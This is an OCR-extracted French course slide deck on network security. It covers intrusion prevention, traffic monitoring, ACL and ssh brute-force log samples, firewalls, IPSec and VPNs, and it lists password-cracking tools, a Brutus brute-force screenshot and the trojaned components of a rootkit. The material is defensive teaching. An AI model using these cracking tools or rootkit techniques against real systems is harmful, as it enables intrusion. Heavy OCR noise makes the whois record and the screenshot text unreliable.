nethame: CMNET-hubei
descr: China Mobile Communications Corporation - hubei
country: CHN
admin-c: JT17Z2-AP
tech-c: JTL7Z2-AP
mnt-hw: MATNT-CHN-CHMCC
mnt-lower: MAINT-CN-CHMCC-hubei
remarks:
remarks: Pleaze zend abuse e-mail to
remarks: tianjijunfhb. chinamobile. com
remarks: Please send probe e-mail to
remarks: tianjijun@hb. chinamobile.con
remarks:
changed: weichenmuanglchinanobile. con 20050309
status: ALLOCATED NON-PORTAELE
Source: APNIC
person: jijun tian
nic-hdl: JT172-AP
e-mail: tianjijunBhb,. chinamobile. con
address: Room 70%,Ho.l&0,Development Road,Wuhan City,Hubei prowince, 430023 P.R.C
phone: +56-027-55570200-210 =
fax-no: +E86-027-65652680
country: cn
changed: weichenguanglchinamobile. com 20040625
mnt-hy: MATNT-NEW
source: APNTIC
~
>
2 & Internet
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Intrusion Prevention System

 Un IPS peut stopper un trafic juge
Ssuspect.

* Un logiciel peut se trouver sur un
routeur, sur un firewall ou sur un boitier
spécialisé en rupture du réseau.

 Exemples d'éditeur d'IPS:
Cisco, ISS, McAfee, ...
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Métrologie

* Les outils d'analyse de trafic et de métrologie
permettent de détecter l'utilisation anormale du
réseau et les pics de consommation (scan massif,

).

* Quelques exemples d'outils:
— extra (EXternal TRaffic Analyser)

http://lpsc.in2p3.fr/extra/

— mrtg (Multi Router Traffic Grapher)
http://www.mrtg.org

— vigilog
http://vigilog.ensmp.fr/

06/10/2008 - ENSICAEN -  (c)dp 188



£5 0 T\

E
|
A
B

e

g'-.
¥

(@]
im
4

extra

* Logiciel de monitoring du trafic réseau

e Fonctions de base:

— Recuell des logs routeurs (IP source, IP
destination, Port source, Port destination, volume).

— Stockage dans une base de données
— Traitement systématique sur les logs
— Interface graphique d'analyse
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INTERNET

EXTRA

RESEAU LOCAL
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Exemple de résultat

S~ DH @ dE I3RS EE
Port 22
3/05-16h_2/05-17h:

230.6Mo 0,512Mbf s
detail

Trafic total par ports externes

3405-0h

3/05-dh

&h 3/05-20h
temps
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mrtg

« Utillisation de SNMP pour relever les
compteurs des périphérigues (routeurs,

).

e Creation de pages html en temps réels
contenant des graphes representant le
trafic sur le réseau en cours de
survelllance.

06/10/2008 - ENSICAEN -  (c)dp 192



L= ELTUE T

B U1 N L SR

i JE EENIRG

mrtg: exemple de résultat

I . es statistiqques ont eété mises a jour le Vendredi 15 Awvril 2005 a 16:26,
"EENSICAEN' était alors en marche depuis 90 davs, S:16:54.

Graphiqgue quotidien (sur 5 minutes : Movenne)

= P50.0 kK
=
2 TEDO.0 kK 3
L]
S 9450 .0 kK =
=
£ 290.0 kK &
)
= Lin B

0.0 Kk : Py

16 1494 42 4o = = 4 = =] 22 20 185 18 14 1z 1O =

182.3 KkB/s (0.1%0) Actuel Entréee:341.0 kKB/s (0.3%95)

Max Entréee:926.8 kB/s (0.7%9:) Moyenne Entrée:
Actuel Sortie: 135.2 kB/s (0.1%92)

Max Sortie:251.2 kB/s (O.2%9) Movenne Sortie:69.2 kB/s (O.1%9)

Graphigue hebdomadaire (sur 30 minutes : Movenne)

2430 .0 k

ASTFO .o
510 .0
Lo}

Bytes per Second
b
]
]

o
O S

Fri Thu et Tue Mo S Sat Fri Thiu
Max Entréee:2406.9 KB/s (1.99) Moyenne Entrée:271.6 kB/s (0.2% ) Actuel Entréee:291.8 kB/s (0.2%9%)
Max Sortie: 7274 kB/s (O.6%) Movenne Sortie:113.2 kB/s (0,19 Actuel Sortie:88.0 kB/s (O.1%)

Graphigue mensuel (sur 2 heures : Movenne)

1520 .0 K
(==l e )
[S=Teit e ]
P Lo

Bytes per Second

T rFFF

[ B8 e |

Wesk 15 Wesk 14 Wesk 13 Weslk 12 Wesk 11
Max Entréee:1318.5 kB/s (1.1%9% ) Moyvenne Entrée:168.2 kB/Ys (0.1%) Actuel Entree:357.1 kKBY/s (0.3%%2)
Max Sortie:551.9 kKB/s (O.49) Movenne Sortie:89. 4 kB/s (0O.1%0) Actuel Sortie: 103 .3 KB/s (0.1 %)
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vigilog

e Rediriger les violations d'ACL d'un routeur sur
le syslog d'une machine.

* Traitement des logs par des scripts perl.

* Courriel de synthese envoye a
I'administrateur.

e Rapport sous forme de page html:
— adresses d'origine les plus actives.
— adresses de destination les plus actives.
— les ports les plus recherchés.

— eflc.
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Extrait d'une ACL

ensicaen> show access-lists 112
deny tcp any any eq sunrpc log (48501 matches)
deny udp any any eq sunrpc log (54 matches)
deny udp any any eq 135 log (545 matches)
deny tcp any any eq 135 log (8717308 matches)
deny tcp any any eq 136 log (19 matches)
deny udp any any eq 136 log
deny tcp any any eq 139 log (3918461 matches)
deny udp any any eq netbios-ss log
deny tcp any any eq 412 log (13 matches)
deny udp any any eq 412 log
deny tcp any any eq 444 log (4539 matches)
deny udp any any eq 444 log
permit ip any any (330007431 matches)
permit udp any any
permit tcp any any
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Vigilog: exemple de sortie

*** ACL 112 - Entree Site ***

Les adresses sources les plus actives :

112 200.31.197.180 536 lignes - mail.unad.edu.co

112 201.129.251.211 524 lignes - dsl-201-129-251-211.prod-infinitum.com.mx
112 61.33.21.2 484 lignes - 61.33.21.2

112 222.149.121.109 416 lignes - p2109-ipbf208niho.hiroshima.ocn.ne.jp

112 4.8.153.86 246 lignes - Isancal-ar56-4-8-153-086.Isancal.dsl-verizon.net
112 67.123.125.162 245 lignes - 67-123-125-162.ded.pacbell.net

112 218.22.209.178 207 lignes - 218.22.209.178

112 61.153.27.154 201 lignes - 61.153.27.154

112 209.139.21.66 192 lignes - mail.imtstones.com
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Vigilog: exemple de sortie

*** Les ports de destination les plus recherchés :
154 4662 tcp edonkey 1108 lignes
154 1214 tcp kazaa 102 lighes

154 4665 tcp edonkey 51 lignes
154 4664 tcp edonkey 46 lignes
154 4663 tcp edonkey 41 lignes
154 137 udp netbios-ns 17 lignes
154 138 udp netbios-dgm 16 lignes
154 6889 udp 4 lignes

154 6882 tcp 3 lignes

154 1214 udp kazaa 2 lignes
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Vigilog: exemple de sortie

*** SCAN a partir de 4.5.55.68 wbar2.seal-4-5-055-068.seal.dsl-
verizon.net

44 ligne(s), 42 adresse(s), 1 port(s)
** PORTS 135/tcp - loc-srv **
ADRESSES
192.93.101.24 192.93.101.35 192.93.101.68 192.93.101.71

192.93.101.76 192.93.101.77 192.93.101.89 192.93.101.96
192.93.101.124 192.93.101.157 192.93.101.164 192.93.101.170
192.93.101.204 192.93.101.214 192.93.101.234 192.93.117.0

192.93.117.16 192.93.117.20 192.93.117.54 192.93.117.61
192.93.117.109 192.93.117.159 192.93.117.178 192.93.212.6
192.93.212.12 192.93.212.20 192.93.212.44 192.93.212.46
192.93.212.58 192.93.212.79 192.93.212.87 192.93.212.95
192.93.212.123 192.93.212.172 192.93.212.180 192.93.212.195
192.93.212.206 192.93.212.220 192.93.212.228 192.93.212.245
192.93.212.248 192.93.212.250
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Vigilog: exemple de sortie

*»** ACL 112 - Entree Site

*** 200.31.197.180 -> 192.93.101.151 586 lignes mail.unad.gov.co ->
sprv.ensicaen.fr PORT 139/tcp netbios-ssn 586 lignes

*** 202.147.224.102 -> 192.93.101.232 81 lignes 202.147.224.102 ->
crchateigner.ensicaen.fr PORT 139/tcp netbios-ssn 81 lignes

*** 219.146.101.206 -> 192.93.101.138 104 lignes 219.146.101.206 ->
spsc2.ensicaen.fr PORT 139/tcp netbios-ssn 104 lignes

*** 220.175.59.220 -> 192.93.101.232 106 lignes 220.175.59.220 ->
crchateigner.ensicaen.fr PORT 139/tcp netbios-ssn 106 lignes
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Craguage de mots de passe

* Les mots de passe sont souvent un maillon faible de
la sécurite.

e Le choix d'un mot de passe doit obéir a des regles
strictes.

* Des outils existent pour décrypter les mots de passe:

— Pour unix:

» crack
http://www.crypticide.com/users/alecm/

e John The Ripper  http://www.openwall.com/john/
— Pour windows:

e |Ophtcrack http://www.atstake.com/
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Un logiciel de stockage de
mot de passes

* De plus en plus de mots de passe a retenir.
 Les mots de passe doivent étre robustes.
* Les post-its sont déconseillés pour les mémoriser ;)

 Un exemple de logiciel de stockage de mots de passe:
http.://www.flyingbit.com/downloads

#7 Flyingbit Password Keeper (S

File Edit View Opticns Bookmarks Help

vdZlese0|ad|.: @

‘F‘assr:ards Tree

Quick Search T -  Value Creation Time
& ENSICAEN FPrassword s 01/10/2008 16:32:06
E SErveurs ensicaen

ns.ecole.ensicaen.fr
natadrm.e: nsicae

Ready &P Total: 3 Group(s), 10 Passcard(s), 11 Fields(s)

06/10/2008 - ENSICAEN -  (c)dp 201



_—

ENSICAEN

(030 ALY SR VN O
W CENTRE JE EEKIRORE

Exemple de logiciel de
Craguadge

x Brutus - AET2 - www.hoobie.net/brutus - ... E|E®
_Eile Tools Ue!p

T arget 1ns.eu:u:ule.ensicaen.fr.-"testht Type ]HTTF' [B azic Awuth) ;J Start | Stop | Elear‘
Connection Optionz— -
Pt ]BD Connections ™ | 10 Timeout ) 10 I UsePromy  Define

‘HTTF [Basic] Options-
Method  |HEAD - v Keepblive

Authentication Dptionz

v Use Uzemame v Single Ulzer Pass Mode |Brute Force - Range ‘ Ciztnbuted ‘

IJzerD |l:||:| B I PRI ) ;

Pozitive Authentication Besults

Target | Tvpe | Username | Password | A
iy, enzicaen. fr! HTTP [Bazic Auth]  adminiztrator

i, enzicaen. frd HTTP [Bazic Auth]  backup v
Engaging target nz. ecaole. engicaen. fritestht with HT TP [B azic Auth L
Dizengaged target nz ecole enzicaen. fri/testht elapsed time : :00: 37 attempts @ 3 A
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Exemple d'attague ssh

Sep 26 00:29:24 www sshd[16963];

Sep 26 00:29:29 www sshd[16965]:
Sep 26 00:29:34 www sshd[16967]:
Sep 26 00:29:39 www sshd[16969]:
Sep 26 00:29:44 www sshd[16971]:
Sep 26 00:29:49 www sshd[16973]:
Sep 26 00:29:54 www sshd[16975]:
Sep 26 00:29:59 www sshd[16977]:

Sep 23 20:58:17 www sshd[11025]:
Sep 23 20:58:18 www sshd[11027]:
Sep 23 20:58:18 www sshd[11027]:
Sep 23 20:58:18 www sshd[11027]:
Sep 23 20:58:19 www sshd[11029]:
Sep 23 20:58:19 www sshd[11029]:
Sep 23 20:58:19 www sshd[11029]:
Sep 23 20:58:20 www sshd[11031]:
Sep 23 20:58:20 www sshd[11031]:
Sep 23 20:58:20 www sshd[11031]:
Sep 23 20:58:21 www sshd[11033]:
Sep 23 20:58:21 www sshd[11033]:

06/10/2008

Failed password for root from 80.88.158.137 port 39464 ssh2
Failed password for root from 80.88.158.137 port 39511 ssh2
Failed password for root from 80.88.158.137 port 39554 ssh2
Failed password for root from 80.88.158.137 port 39597 ssh2
Failed password for root from 80.88.158.137 port 39643 ssh2
Failed password for root from 80.88.158.137 port 39683 ssh2
Failed password for root from 80.88.158.137 port 39729 ssh2
Failed password for root from 80.88.158.137 port 39774 ssh2

Failed password for invalid user tiffany from 63.237.87.70 port 42579 ssh2
Invalid user tiffany from 63.237.87.70

error: Could not get shadow information for NOUSER

Failed password for invalid user tiffany from 63.237.87.70 port 42673 ssh2
Invalid user tiffany from 63.237.87.70

error: Could not get shadow information for NOUSER

Failed password for invalid user tiffany from 63.237.87.70 port 42762 ssh2
Invalid user tracy from 63.237.87.70

error: Could not get shadow information for NOUSER

Failed password for invalid user tracy from 63.237.87.70 port 42858 ssh2
Invalid user tracy from 63.237.87.70

error: Could not get shadow information for NOUSER
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RootKits
* Un "rootkit" est défini par la NSA:

A hacker security tool that captures passwords and
message traffic to and from a computer. A collection
of tools that allows a hacker to provide a backdoor
into a system, collect information on other systems
on the network, mask the fact that the system is
compromised, and much more. Rootkit is a classic
example of Trojan Horse software. Rootkit is
available for a wide range of operating systems.
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RootKits

e Souvent utilisé par un intrus pour se dissimuler et
garder les acces privilégiés qu'il a obtenu.

* Les premieres alertes sur l'utilisation de rootkits
datent de février 1994,

o QOutil devenu tres populaire et qui complique la
détection d'intrusion.

» Tres répandu sur les machines SUN et Linux.

* Une rootkit classique contiendra un sniffer, des
logiciels avec backdoors comme inetd, login,...,
remplacera des commandes comme ps, netstat, Is,

... On pourra trouver également des commandes de
nettoyage de logs (/var/log), etc.
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Exemple de rootkit: Irkn

. chfn Trojaned! User->r00t

. chsh Trojaned! User->r00t

. inetd Trojaned! Remote access

. login Trojaned! Remote access

. Is Trojaned! Hide files

. du Trojaned! Hide files

. ifconfig Trojaned! Hide sniffing

. netstat Trojaned! Hide connections

. passwd Trojaned! User->r00t

. ps Trojaned! Hide processes

. top Trojaned! Hide processes

. rshd Trojaned! Remote access

. syslogd Trojaned! Hide logs

. linsniffer Packet sniffer!

. fix File fixer!

. z2 Zap2 utmp/wtmp/lastlog eraser!
. wted wtmp/utmp editor!

. lled lastlog editor!

. bindshell port/shell type daemon!

. tcpd Trojaned! Hide connections, avoid denies
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Déetection de rootkits

 Sila machine est infectée, toutes les commandes locales sont
suspectes.

« Détection des ports ouverts non officiels (avec nmap sur une machine
externe). Par exemple l'inetd de Irk4 ouvre le port 5002.

 Recherche des répertoires spécifiques aux rootkits (par exemple
/dev/ptry avec Irk4).

« Ultilitaires de détection:
unix: chkrootkit http://www.chkrootkit.org/

windows: rootkitrevealer
http.//www.sysinternals.com/ntwZ2k/freeware/rootkitreveal.shtml

Strider GhostBuster http:/research.microsoft.com/rootkit/
F-Secure Blacklight nttp.//www.f-secure.com/blacklight/

Se prémunir des rootkits: tripwire http://www.tripwire.com
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Bibliotheques Dynamiques

 Beaucoup de fichiers sont a modifier pour
rester invisible.

« Cependant, les binaires utilisent le concept
des bibliotheques dynamiques pour éviter
d'étre trop gros (dIl sous windows, fichiers .so

SOuUS unix).

* La modification d'une bibliotheque dynamique
peut suffire a modifier plusieurs commandes.
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Exemple bibliotheque
dynamique

[root@ns /root]# Idd "which uptime’ "which top™ "'which ps’
/usr/bin/uptime:

libproc.s0.2.0.0 => /lib/libproc.s0.2.0.0 (0x40018000)

libc.s0.6 => /lib/libc.s0.6 (0x40023000)

/lib/Id-linux.s0.2 => /lib/ld-linux.s0.2 (0x40000000)
/usr/bin/top:

libproc.s0.2.0.0 => /lib/libproc.s0.2.0.0 (0x40018000)

libncurses.so.4 => /ustr/lib/libncurses.so0.4 (0x40023000)

libc.s0.6 => /lib/libc.s0.6 (0x40060000)

/lib/ld-linux.s0.2 => /lib/Id-linux.s0.2 (0x40000000)
/bin/ps:

libproc.s0.2.0.0 => /lib/libproc.s0.2.0.0 (0x40018000)

libc.s0.6 => /lib/libc.s0.6 (0x40023000)

/lib/ld-linux.s0.2 => /lib/Id-linux.s0.2 (0x40000000)
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Chiffrement, tunnels
et vpn
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Session chiffrée

e ssh (Secure Shell) plutot que
telnet,rlogin,rsh,rcp

o Génération d'une paire de clef RSA (toutes
les heures) par le serveur.

 Envol de la clef publique au client qui se
connecte.

e Le client génere une clef symétrique, la
chiffre avec la clef du serveur et la renvoie au
serveur.

e Le reste de la communication est en
chiffrement symétrique.
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Tunneling

e Un protocole de tunneling est utilisé pour
creer un chemin privé (tunnel) a travers une
Infrastructure éventuellement publique.

* Les données peuvent étre encapsulees et
cryptees pour emprunter le tunnel.

e Solution intéressante pour relier deux entités
distantes a moindre co(t.
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Tunneling ssh

o Un flux tcp quelcongue peut étre redirigé dans un
tunnel ssh:

A

A 4 A 4

client ssh

4
2
3
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Exemple tunneling ssh

¥ Propriétés de mail ensicaen.ismra. fr

Settings

= Frofile Settings

— Connection
- Cipher List

— Colors

- Keyboard

= Turnneling
Outgsing
Incamming

Global Settings

=l sppearance
Fort
Colars
-~ User Keys

-~ Host Keps
PEI

Certificates
LD&P Servers
PECS #11

L. Configuration
Transfer
Audvanced
Mods
weall
-~ Securits
- Printing

Outgoing

Configure securs cautgaing tunnels fram the local computer ta the rermote
host computer. The settings will kake =fect the newt time wou lagin.

M arne | Listern Part | Dest Host | Dest Port | Allows L
pop3 110 mail.ensicas... 110 Yes
N | I |
A, | Edit... | Femove |
Cancel | Help

06/10/2008

Client ssh (http://www.ssh.com)

- ENSICAEN -

Géndral Serveurs IEonnexinnI Sécuritél .f-‘wanc:él

Informations sur le serveur

ton serveur de courrier entrant est un zerveur

Courrier entrant [POP3] : |Incalhnst

LCourner sorkant [SMTP] Imail.ensicaen.ismla.h

Serveur de courier entrant

Ham du compte Ilest

Mot de pasze |"“"“’“‘“"

¥ Se souvenit du mat de pazse

[ Se connecter avec |'authertification par mat de passe séourisé

Serveur de coumer sortant

™ Mon serveur requiert une suthentification Barametres,.. |

o ]

Annuler | Sppliguer I

(c) dp

Parametres Outlook Express
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Autre exemple de tunneling

e Autre logiciel de tunneling: stunnel utilisant SSL
(http://www.stunnel.org)

sTunnel QgL

A

Client mail

Iucalhust¥10
POPd |[ip:110

Parametres Outlook Express

06/10/2008 - ENSICAEN -  (c)dp 215



F—=

ENSICAEN

(030 ALY SR VN O
W CENTRE JE EEKIRORE

Configuration client courrier

ey e . . . Générall Seweursl Eonnexionl Sécuité  Avance |
# Propriétés de mail.ensicaen.ismra.fr

.. - Y Z Muméros de port des serveurs
Géndral  Serveurs | Eonnexlonl Secuntel Avancel

Courrier zortant [SMTPF): |25 Ean defaut |
Informations sur le serveur

. I Ce serveur requiert une connexion sécursée [SSL)
Mon serveur de courier entrant est un serveur IF'DF'3

Courrier entrant (POP3]:  |995

¥ iCe serveur requiert une connexion secunsée [SSLF

Courrier entrant [POP3] : Imail.ensicaen. izmra.fr

LCourrier sortant [SMTP] : Imail.ensicaen. izmra.fr

Délais d'attente du serveur

Serveur de courrier entrant Cowt =F————— Long 1 minute
Mom du compte : Itest .
Erveoi
Mot de passe : Ixxxxxxxx I™ Scinder les messages supérieurs & IBD 3: Ko

¥ Se souvenit du mot de passe

. o . Remize
™ Se cornecter avec lauthentification par mot de passe séourise

™ Conserver une copie des messages sur le serveur

Serveur de courier sortant

I= | Supprimen dujsenveun apres |5 3: (=]
™ Mon serveur requisrt une authentification Barameties.. |

= | Supprimen dulserveun aprés celui dars Elements supprimes

0k I Annuler Appliquer

0K I Annuler | Appliquer |

Parametres outlook express
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Connexions TCP/IP
Securisees
e SSL (Secure Sockets Layer)

— Se situe entre la couche application et la
couche transport.

— Garantit I'authentification, l'intégrité et la
confidentialité.

— Largement utilisé pour la sécurisation des
sites www (https).
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Fonctionnement SSL

1) Hello, version de SSL, protocol e de chiffrement pris en charge,
longueurs de clé, mécanisme d'échange de cl é

v

2) Hello, examen des méthodes supportées par le client, envoi les
méthodes et al gorithmes de chiffrement, longueurs et mécanisme
d'échanges de clé compatibles, envoi de la clé publique approuvée par

client une autorité, serveur

A

3) Vérification du certificat envoyé par le serveur, envoi d'un message clé
maitre: liste de méthodol ogie de sécurité de sécurité employées par le
client et cl é de session cryptée avec la clé publique du serveur.

v

4) Message "client sécurisg" indiquant que les communications sont sires.

A
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IPSec

e |P SECurity protocol issu d'une task force de I'lETF
* Quelques spécifications de I'lPSec:

— Authentification, confidentialité et intégrité (protection contre
I'lP spoofing et le TCP session hijacking)

— Confidentialité (session chiffrée pour se proteger du sniffing)

— Securisation au niveau de la couche transport (protection
L3).

e Algorithmes utilisés:
— Authentification pas sighature DSS ou RSA

— Intégrité par fonction de condensation (HMAC-MD5, HMAC-
SHA-1, ...)

— Confidentialité par chiffrement DES, RC5,IDEA,CAST,
Blowfish
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Fonctionnement IPSec

e |psec peut fonctionner:

— en mode transport; les machines source et
destination sont les 2 extremités de la connexion
Securisée.

— en mode tunnel: les extrémités de la connexion
sécurisée sont des passerelles; les
communications hote a hote sont encapsulées
dans les entétes de protocole de tunnel IPSec.

— en mode intermédiaire: tunnel entre une machine
et une passerelle.
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Services de securité IPSec

* |IPSec utilise 2 protocoles pour
iImplémenter la sécurité sur un réseau
IP:

— Entéte d'authentification (AH) permettant
d'authentifier les messages.

— Protocole de sécurité encapsulant (ESP)
permettant d'authentifier et de crypter les
messages.
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IPSec: mode transport

Transport or Tunnel

The
Internet

IPsec ext Inner IP

IP header AH/ESP heades Payload
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IPSec: mode tunnel

Tunnel

The
Internet

ocal
Intranet

IPsec ext Inner IP
AH/ESP header Payload

IP header
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IPSec: mode intermeédaire
RN

< Tunnel >

IPsec ext Inner IP
AH/ESP header Payload

The
Internet

IP header
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Etablissement d'une
connexion IPSec

e 2 machines doivent s'accorder pour l'utilisation des
algorithmes et protocoles a utiliser

* Une SA (Security Association) est établie pour
chague connexion.

 Une SA comprend:
— Un algorithme de chiffrement (DES, 3DES)

— Une clé de session via IKE (Internet Key
Exchange)

— Un algorithme d'authentification (SHA1, MD5)
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Implémentations TCP/IP
Securisees
* Windows implémente:

— PPTP (Point to Point Tunneling Protocol)
— L2TP/IPSec (Layer 2 Tunneling Protocol)

e Linux implémente FreeS/WAN
(nttp://www.freeswan.org)
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Virtual Private Network

 Permet de créer un tunnel chiffré sur une infrastructure
publique entre 2 points.

 Les logiciels de vpn peuvent s'appuyer sur ipsec ou ssl
(openvpn)

VPN Client

Local ISP

Friblilio network -

=,

HDI:I
| | | | : 0
imternal L.AMN WPHM Server

06/10/2008 - ENSICAEN -  (c)dp 227



F—=

ENSICAEN

(030 ALY SR VN O
W CENTRE JE EEKIRORE

Firewall
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Firewall

e Protéger son réseau du monde
extérieur (Internet, autres services de

I'entreprise).
e Maintenir des utilisateurs a l'intérieur du
réseau (employé, enfant, ...)

e Restreindre le nombre de machines a
survelller avec un maximum d'attention.

e Certaines machines doivent rester
ouvertes (serveur www, dns, etc).
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Firewall

e C'est un outil souvent indispensable
mais jamais suffisant:

— Pas de protection contre le monde intérieur

— Pas de protection contre les mots de passe
faibles

* Nécessite une politigue de sécurite:
— Tout autoriser et interdire progressivement
— Tout interdire et ouvrir sélectivement
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Firewall

e Controler les acces entrant et sortant:
— par service
— par adresse IP

« Un firewall n'empéche pas:

— de bien protéger et administrer toutes ses
machines.

— de bien structurer son réseaul.

— d'éduquer et sensibiliser les utilisateurs.

— la signature de charte de bonne utilisation.
— la surveillance quotidienne.

— elc.
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Firewall

o Différents types de firewall:
— filtres de paquets
— passerelles de circuits
— passerelles d'application
— Combinaison des 3 types precédents
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Firewall: Filtrage de paqguets

o Paquets peuvent étre tries en fonction
des adresses |IP,des ports sources et
destination, du contenu.

 Pas de notion de contexte: la décision
est prise d'apres le contenu du paquet
en cours.

* Probleme pour les fragments IP (pas de
numeéro de port dans la trame)

06/10/2008 - ENSICAEN -  (c)dp 233



_—

ENSICAEN

(030 ALY SR VN O
W CENTRE JE EEKIRORE

Filtrage de paquets

5 Application

@ Dissalioward Q? Allowed

Traffic is filtered basad on
specified rules, including source
and destination |P address, packet

4 Transport Control
Protocel (TCP)

5 Internet Protocol g

{IF} type, Port number etc.
2 Data Link Unknown traffic is only allowed up
to leval 3 of the Metwork Stack.
1 Physical

Incoming Traffic Aliowed Qutgoing Traffic
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Firewall: Passerelles de
CIrcults

e Les passerelles de circuits relaient les
connexions TCP.

o L'appelant se connecte a un port TCP
de la passerelle elle méme connectée
sur le port du service de la machine
destination.
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Passerelle de circuits

S Application
" @ Dissallowed Q:f Allowed
4 Transport Control o, -
Protocol (TCP) %8¢ Traffic is filtered based on
specified sassion rules, such as
g Internet Protocol when a session is initiated by a
(1P} recognised computer
2 Data Link Lnknown trafic is only allowed up
to level 4 of the Metwork Stack.
1 Physical

Incoming Traffic Allowed Outgoing Traffic

06/10/2008 - ENSICAEN -  (c)dp 236



F—=

ENSICAEN

(090 ALY BRI VN O
W CENTRE JE EEKIRORE

Firewall: Passerelles
d'applications

e Un programme spécifique pour chague
application (exemples: relal de courrier,
relal http, ...).

e Permet de sectionner les flux.

» Plus complexes a mettre en ceuvre.
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Passerelle d'applications

& Application

@ Dissallowad Q:f Aliowied

Traffic 15 filterad basad on
specified application rulas, such

4 Transport Control
Pratocol (TCP)

g Internet Protocol as specified applications (such as
{IP} a browser) or a protocol, such as
FTF or combinations
2 Data Link

Lnknown traffic is allowed up 10
the top of the Network Stack.

1 Physical

Incoming Traffic Aliowed Outgoing Traffic
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Firewall "stateful multilayer”

5 Application @
Transport Control =
4 protocol (Top) @

5 Internet Protocol gy

@ Diasaiowed Qﬁ Allowed

Traffic 15 filtered at three leveals,
based on a wide range of
specified application, session and

{1P) packet fitering rules.
2 Data Link Linknown trafiic is allowed up 10
level 3 of the Network Stack.
1 Physical

Incoming Traffic Aliowed Outgoing Traffic
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Fonctionnalités actuelles d' un
firewall

» Filtrage sur adresses IP/Protocole,
* Inspection stateful et applicative,
» Intelligence atrtificielle pour détecter le trafic anormal,
» Filtrage applicatif
— HTTP (restriction des URL accessibles),
— Anti Spam
— Antivirus, Anti-Logiciel malveillant
« Translation d'adresses,
e Tunnels IPsec, PPTP, L2TP,
» Identification des connexions,
o Serveur Web pour offrir une interface de configuration agréable,
* Relai applicatif (proxy),
o Détection d'intrusion (IDS)
e Prévention d'intrusion (IPS)
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Exemples firewall

e checkpoint

http.//www.checkpoint.com

e Cisco: pix, asa, .

06/10/2008

[ Coco M| = > S e
Fle Options Tools Wizards telp Search: Find ~ [l
pr— LALELA A NY
2 3
@ | 9% 0 © 4 e & ? cisco
Home  |Configuration Monioring | Back  Forwerd | PacketTracer | Reiresh  Save Helo
Access Rues | AaA Rules | Fiter Rulss | Service Poicy Rules | Addresses | Services | Time Ranges|
Intertaces #addy @ [+ €| % % m - |[Q Find|[ D Rule Disgram [ LIRS S | Q Fi
[ Fiter: nterface. ~ | [etudient - Clear|  Rule Query... | Tyve: [@ a -
Secunmy Policy. No Enabled Source Destination Service Action Logging  Time. Description Name:
e 3% etucart (12 Incoring rules) b
i vt ¥ uB etuiant-network2s @ any & any  Pemnit
2 etudiart-networki24 @ any me; GLOBAL_UD... &7 Permit
Q{; 3 ) etuctart-networki2e - @@ any X GLOBAL_TCP... & Permit
i 4 8 etuciart.networkzs 8 192168217 2 W bootps o Pemi wiftaensic ensicasn fr
5 58 etuciart-network/24 1521631622 e 3128  Pemit inside : proxyc.ecole ensicaen. fr
€ o) ctuckant-network 24 1934920022 = 3128  Permit inside : proxy.ecole ensicaen.fr
5D Marager -7 18 etuciant-network 24 192168.214 1 5432  Permit (€) dp O3/07/08 ouverture serveur postgres. = 193201 103.114
8 88 etuciart-network24 5| 19349200148 w5432  Permit inside: 2450 ecole ensicaen fr 193205203155
03 3 188 etuctani-networkze 8 19349 2008 1 SWTR_TCR_N.. & Permit inside : smip ensicaen.fr 184571232
Routing 10 ) etuctant. network 24 19216816119 1 3306 o Pemit 0dpOTNOMT  wifi vers serveur dri service mysal 19457132112
1 ¥ w8 etuciant-networki2e 8 1534320015 1 8180  Pemit (c) dp 29103108 etudiart -> tomaat de ns ecole ensicaen fr B 194250115146
12 @ any @ any i @ Deny Implici rule 1958318211
Globsal Objects: 19522027 136
195220804
- ) 19522094477
Prcberbes 24 185 221 17670
B 19522117671
Fule Flow Diagram x Aegiinn
4| i— a B 22275168
Source Address e Desiination Address B 2220715184
it B 2242127254 -~
) e e
<admi> 115 B 02110108 05:13:48 GMT/EDT
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Protection du poste de travall

» Les postes de travail Windows doivent étre protéges individuellement;
ils sont parties intégrantes de la sécurité d'un site.

— Antivirus

— Anti Spywares

— Firewall personnels

— Mise a jour de correction des vulnérabilites

* Firewalls personnels:
— Kerio Personnal Firewall http://www.kerio.com
— Look "n" Stop http://www.looknstop.com
— ZoneAlarm http://www.zonelabs.com
— Firewall Windows
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Exemples firewalls personnels

Kerio Personal Firewall

@ Applications |z i e . & [ c |
¥ Enable Metwork secuity moduls
) tccuel| § Fivage Logiciel & Filrage Intemet }g Jounal | 3% Options | %4 Enegistement
Liste des égles (appliquées de haut en bas] i = Trulsled - | - ‘ﬂte‘mal i I i | Aot | ~
5 2
B[ S[ 7] Homdelaseale | Desciption I b i 1 LS4 Shell ExportVersion)  +# pemit o pemit 2 a2 ash
E @ ¢ TCP:Bloguerle Land Attsck’ Protection contre Iattaque Land Attack”. Cette attaque fait B seelosiondowertued.. 2 sk @ et B ok =
[ TCP : Autariser ldentification Certaing services ont besoin des paquets didentification po... Editer PP o C B 5 z
H e TCP : Anéter WinNuke Blogue le port 139 qui permet les attaques WinHuke. Blogu.. ] Application douverture d.. 2 ask W pemit 7 ask 7 ask
5] TCP : Autorise les services Intemet .. Autorise | Wb, le mail, llic, st a plupart des services Inter B 1 Geneiic Host Process for...  «# pemit o pemit 2 ask + pemit
Bl @ 7 TCP:Blogue tous les autres paquets.  Tous les autres paquets TCP sont blogués. @ Microsoft File and Printer...  «# pemmit o permit 3¢ deny ¥ deny
= UDP: Autoriser la ésolution des no... Aulorise vaire ordinateur & demander au serveur DNS de fr... o = JavalTM) 2 Platiom 51, % ask 5y o i it
Fi=] UDP: Stopper | NetBios. Vot ordinateur s'annonce sur le 18ssau de manigre systé s e, i 5oy 3 o
=il UDP: BOOTP / DHCP Autonsation des kames BODTP nécassaiies aux communic 5 e a"a! | Update Checker 2 sl 7 adl 2 adl W pemit
B @ - UDP:Stoppeles boadcasts Anéte tous les broadeasts sur les adiesses IP du type %% .. iz A Dragh Diop CO+DVD 7 sk P ask 2 ask ' permit
M © 7 UDP:Bloguelerede Bloque tous les aulies paquets LIDP, £ 55H Secue Shell Clent % ask o pemit 7 ask + pemit
5| ICMP : Autorise & pinger (Fiea) Vous autorise & fsite un ping. ) Imparter & Mozila Thundedbind 9 ask o pemit 7 ak % deny
= ICMP - Awttorise 3 pinger (Rp] Vous autorise. & recevoil la réponse 3 un ping que vous av... & Intort Explrer 2 sk b o - it
= ICMP - Bloguer type 10 Bloque les requétes [CMP de type 10, Sans averin Expurter P + Fp H P
B & 0 ICMP- Bloquels rects 1 webrebatesd 2 ask 7 msk 7 ask % deny
ARP ! crosoft PowerPoint 7 pemit 7 al 2 =l
[E] Microsoft PowerPoi 7 ask v 7 ask 7 ask
B @ 7 Toulereste T & abc 7 sk o pemit  + pemit 7 permit
